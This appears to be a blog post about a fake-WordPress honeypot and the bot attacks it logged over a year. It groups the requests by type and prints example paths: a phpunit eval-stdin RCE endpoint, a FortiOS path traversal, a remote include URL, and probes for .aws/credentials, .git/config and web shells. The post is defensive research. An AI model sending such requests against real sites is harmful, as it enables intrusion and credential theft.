I was surprised how many bots tried to hack just created website [Experiment]

How it started

Around 3 years ago, I decided to create a website. I wanted to do it quickly, so I bought a Wordpress template to get a good start. After a few weeks, I noticed that Google was indexing random texts and ads on the homepage. When I visited the admin panel, I realized that someone had created two admin accounts and uploaded tons of custom-made plugins to use my Wordpress instance as a trash ads platform.

I was amazed by the mechanism of how easily they hacked the fresh, latest version of Wordpress with 2FA and a kilometer-long password. After searching through the logs, I understood that it was not a human activity — it was a bot. Since the first day of publishing the webpage, I received tons of requests from different IPs trying to detect versions of templates/plugins and using existing exploits/approaches to add an admin account to Wordpress.

So, a year ago, I decided to perform an interesting experiment that is still ongoing, but I already have some interesting data to share with you :)

What I have done

Basically, I created a honeypot — a special website designed to catch and analyze hacker activity. I used a random HTML template from the internet and intentionally left it empty so as to push away real users. We need only bots’ activity ;)

I also pretended to have an outdated Wordpress installation to provoke bots to use their full potential in attempting to hack my “Wordpress” website. Here’s the recipe:

1. Put <meta name="generator" content="WordPress 3.3.1"/> into the head of the homepage.
2. Create a fake /xmlrpc.php endpoint to catch the attention of bot scanners. Xmlrpc is a very popular entry point in Wordpress for hackers. Additionally, malicious bots will "verify" that our "website" is based on Wordpress.
3. Create a fake /wp-login.php page to "help" bots define our website as Wordpress-based.
4. Log all requests to have a full image of attack vectors.

12 Months later…

I took a look at DB with logs. I was quite surprised. It has ~51K requests from ~7K unique hosts. There is distribution of the origins of the bots:

And here we have the share of requests types

I spent some time to analyze and categorize the requests by threats:

So, lets talk about each of the type with examples from my logs ;)

Bruteforce attempt

In this category, I included activities such as attempting to log in with different credentials, such as user:admin password:12345. Here are some examples:
…
POST /wp-login.php
POST /blog/wp-login.php
POST /login.php
POST /wp/wp-login.php
…

Exploit attempt

This is the more interesting part. Some of the bots detected our old version of “Wordpress” and attempted to use old vulnerabilities with existing exploits. Some of them were absolutely frustrating due to typos in file paths or even paths not related to the Wordpress world. Here are some examples:
…
POST vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
GET wpindex.php?idb=https://raw.githubusercontent.com/***/ExV1
GET wp-admin/tool.php
POST phpunit/src/Util/PHP/eval-stdin.php
…

GIT probing

Maybe you already know that storing credentials or other confidential information in Git is a VERY bad idea.

These bots are trying to access the non-existing “.git” folder in our case to find something interesting. This attack may be performed in case of misconfiguration of the HTTP server, where any non-.php files could be fetched just like on file hosting.

For example, if you use Apache and have “Options Indexes” enabled, then your directory will be working as a file hosting service. Of course, /index.php will be working as usual, but anyone can read files, such as in the /.git directory, by simply sending a GET request. Here are some examples of requests in my case:
…
GET .git/HEAD
GET dev/.git/HEAD
GET opt/lampp/htdocs/.git/HEAD
GET .git/config
GET images../.git/config
…

Leakage probing

This attack is quite simple. Attackers are trying to find something that we forgot to move/delete or just thought that nobody would find. For example, it could be backups, SQL dumps, old configurations, and so on — anything that is not protected by the CMS or rules. Here are some examples:
…
GET config.json
GET backup
GET .aws/credentials
GET backup.sql
GET db_backup.sql
GET ***.sql.xz
…

Shell scripts usage attempt

This attack requires two parts: using exploits to upload a special part of code and executing different commands using this code. For example, a hacker can upload a PHP file and call it via a GET request. As arguments, they can pass a bash script/command and this PHP file will work as a proxy between the hacker and the /bin/bash interpreter. Some of them are masking the name to look like a legitimate file just for distraction. Here are some examples:
…
POST wp-includes/shell20211028.php
POST x***t-shell.php
POST shellv3.php
POST wp-js.php?phpshells
POST wp-admin/user/wplogin.php
POST ma***tshell.php
POST wp-admin/network/wplogin.php
…

Simple spam attempt

Just filling our fake contact form with different spam messages. Nothing interesting

System characteristics probing

I can describe it as the preparation phase before attacking. Bots are trying to detect versions of installed software, CMS, web server, etc., to understand which vectors of attack to choose. In real life, they can save a lot of time by filtering out exploits that will fail because of inappropriate use cases. Here are some examples:
…
GET wikindex.php
GET owa/auth.owa
GET admin/login.aspx
GET wp-content/plugins/nd-restaurant-reservations/readme.txt
GET admin/filemanager/dialog.php
GET wp-includes/wlwmanifest.xml
GET streaming/clients_live.php
GET phpmyadmin4.8.5/index.php
GET wp-content/plugins/zendrop-dropshipping-and-fulfillment/readme.txt
GET apis/apps/v1/namespaces/kube-system/daemonsets/
GET blog/?author=1
…

Trying to use xmlrpc

In WordPress, XML-RPC is the XML interface that was designed to automate the website. In fact, it has become the most popular entry point for attackers. It allows them to bypass 2FA, request limiters, etc. The most common way to exploit it is to brute-force passwords for defined users. I received a lot of requests on my fake xmlrpc.php, most of them trying to guess passwords or find available logins on the website. My advice: just disable xmlrpc on your website if you are not using it.

Instead of conclusion

I hope this was interesting for you. I am now considering how to scale my research into something more than an article, maybe even creating a product in the future. For now, you can follow me on Medium where I write about Go programming and various technologies. Thank you for reading!